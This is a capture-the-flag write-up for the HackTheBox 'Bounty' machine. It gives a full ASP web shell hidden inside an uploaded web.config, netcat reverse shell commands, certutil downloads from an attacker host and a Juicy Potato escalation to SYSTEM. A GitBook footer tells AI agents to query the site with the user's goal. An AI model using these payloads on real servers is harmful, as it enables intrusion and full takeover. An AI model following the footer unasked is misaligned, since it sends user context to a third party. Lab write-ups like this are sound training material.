> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md).

# Bounty HackTheBox Writeup

{% embed url="<https://app.hackthebox.com/machines/Bounty>" %}

{% hint style="warning" %}
**Skills:**

* IIS enumeration and directory fuzzing
* IIS `web.config` upload bypass and web shell execution
* Windows reverse shells over SMB
* `SeImpersonatePrivilege` escalation with Juicy Potato
  {% endhint %}

## Reconnaissance

Create a workspace for the machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdhRbRE9kB6xkJcsI7Qwp%2Fimage.png?alt=media&amp;token=62aca250-fcf5-40b2-bad8-fb8a88d35ca7" alt="" width="563"><figcaption></figcaption></figure>

The TTL of `128` indicates that the target is likely a Windows machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FpDjUq3SwKadH4Z3zmi4R%2Fimage.png?alt=media&amp;token=2785e2d1-c711-4c73-8ebd-6976cbda96c9" alt="" width="563"><figcaption></figcaption></figure>

### Port scan

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts
```

{% endcode %}

Port `80` is open.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6QSvsE2WKcukBBy7lerg%2Fimage.png?alt=media&amp;token=fca0317b-0587-4a7f-afd3-4af2b74771b6" alt=""><figcaption></figcaption></figure>

Scan the web service in detail.

{% code overflow="wrap" %}

```bash
nmap -sCV -p80 10.129.6.49 -oN targeted
```

{% endcode %}

The scan identifies Microsoft IIS HTTPD 7.5.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4Nh2Fy3hcbM9zRW3xyBO%2Fimage.png?alt=media&amp;token=74d12558-e0af-4091-b913-19e74cdffee6" alt=""><figcaption></figcaption></figure>

The page on port `80` only displays an image.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGjPs1ZgioirVPiMY33t3%2Fimage.png?alt=media&amp;token=e54d122d-7d89-4d0c-b20b-be73c9ebefea" alt=""><figcaption></figcaption></figure>

### Directory enumeration

Fuzz the web server for files and directories.

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r
```

{% endcode %}

The scan reveals:

* transfer.aspx
* `uploadedfiles`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIMrvtyD4PGwU8mDDCfXT%2Fimage.png?alt=media&amp;token=b90dfb5c-2e4f-4872-aae1-fddf19f5630a" alt=""><figcaption></figcaption></figure>

`transfer.aspx` accepts file uploads.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUC9Dc8V6DK4tV48BNtvv%2Fimage.png?alt=media&amp;token=3eb5c8b3-4577-4066-87db-7c8189434c46" alt="" width="561"><figcaption></figcaption></figure>

An `.aspx` command shell is rejected because its extension is not allowed.

{% code overflow="wrap" %}

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FvHHcYaeDyoAZ6DJcvAAZ%2Fimage.png?alt=media&amp;token=dc3a3c8c-cb4d-4791-b209-4dd956819572" alt=""><figcaption></figcaption></figure>

Search for `All file extensions for a Windows IIS reverse shell`. HackTricks describes several relevant extensions, including `.asp`, `.aspx`, `.config`, and `.php`.

{% embed url="<https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/iis-internet-information-services.html>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWHIP4m5bXb3JPMH6jHkm%2Fimage.png?alt=media&amp;token=3ff943bf-055e-4f11-a1c0-1381bac01310" alt=""><figcaption></figcaption></figure>

The [IIS web.config Upload Bypass](/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) allows execution through `.config` files.

#### Execute .config files

> If an application lets you upload a .config file into a served directory, an IIS web.config may be usable for code execution. One technique appends the payload inside an HTML comment: download an example here.
>
> More information and techniques to exploit this vulnerability here\[2]

Create a `web.config` file with the following content.

{% code overflow="wrap" %}

```bash
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)

    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>

<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>



<%Response.write("<!-"&"-") %>
-->
```

{% endcode %}

The `.config` file uploads successfully.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fb7K4yz4nylJjkGJ51PA8%2Fimage.png?alt=media&amp;token=bc36998f-7a8a-427e-809d-16dfe7b521d3" alt=""><figcaption></figcaption></figure>

Browse to `/uploadedfiles/web.config` to access the web shell. The file is deleted after a few seconds.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FF0FALBOISETaZKMSVCG6%2Fimage.png?alt=media&amp;token=f28d5941-5002-4503-af32-21264e26a2cc" alt=""><figcaption></figcaption></figure>

## Initial access

Use the web shell to obtain a reverse shell.

Place an executable Netcat in the current directory:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Start a SMB server to share the file:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Set your machine as a listener on port 443:

```bash
sudo rlwrap nc -nvlp 443
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FDtp7McxSizx5P5CsQyp4%2Fimage.png?alt=media&amp;token=c94ec033-4693-407f-8217-2213f6ee3360" alt=""><figcaption></figcaption></figure>

Execute the reverse shell command from the WebShell:

{% code overflow="wrap" %}

```bash
//10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443

http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443
```

{% endcode %}

The reverse shell connects successfully.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJqbSdDMNjQD9eaUb1LjR%2Fimage.png?alt=media&amp;token=7f32ce4e-b64f-44f8-be71-dd5ae0c86e69" alt=""><figcaption></figcaption></figure>

Retrieve the user flag.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9pEr8blbm9wzQm9x8wOC%2Fimage.png?alt=media&amp;token=6ecb8b36-912b-4502-b124-66b4ff135757" alt=""><figcaption></figcaption></figure>

## Privilege escalation

The current user has the `SeImpersonatePrivilege` privilege.

{% code overflow="wrap" %}

```bash
whoami /priv
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ft9Tj2gFqcjJSVzXbd00L%2Fimage.png?alt=media&amp;token=58eb860f-5d25-4ac5-ac7e-325fb8f3905f" alt=""><figcaption></figcaption></figure>

Download `JP.exe`.

{% embed url="<https://github.com/k4sth4/Juicy-Potato/tree/main/x64>" %}

Transfer it, together with Netcat, to the target machine.

{% code overflow="wrap" %}

```bash
certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe
certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAqLFS4473GgZd2v8VXjP%2Fimage.png?alt=media&amp;token=f50682bb-aeae-496c-969b-4ad8da3f099f" alt=""><figcaption></figcaption></figure>

Start a listener on port `1234`.

{% code overflow="wrap" %}

```bash
sudo rlwrap nc -nvlp 1234
```

{% endcode %}

Run Juicy Potato to execute `cmd.exe` as `SYSTEM`.

{% code overflow="wrap" %}

```bash
.\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234"
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCpOPU2UcH5U5jJ3YtXC0%2Fimage.png?alt=media&amp;token=e38e3cd1-11a3-42e7-a428-6bbe995535e3" alt=""><figcaption></figcaption></figure>

Retrieve the root flag.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLHrFjStc6NngcwNVtKnp%2Fimage.png?alt=media&amp;token=c5c63f77-2602-4743-8e73-f1571bdf7c67" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FZAAG7VcXGTobv8xtBLYo%2Fimage.png?alt=media&amp;token=b89480bd-22f5-4dcc-b295-5aabc44839c2" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
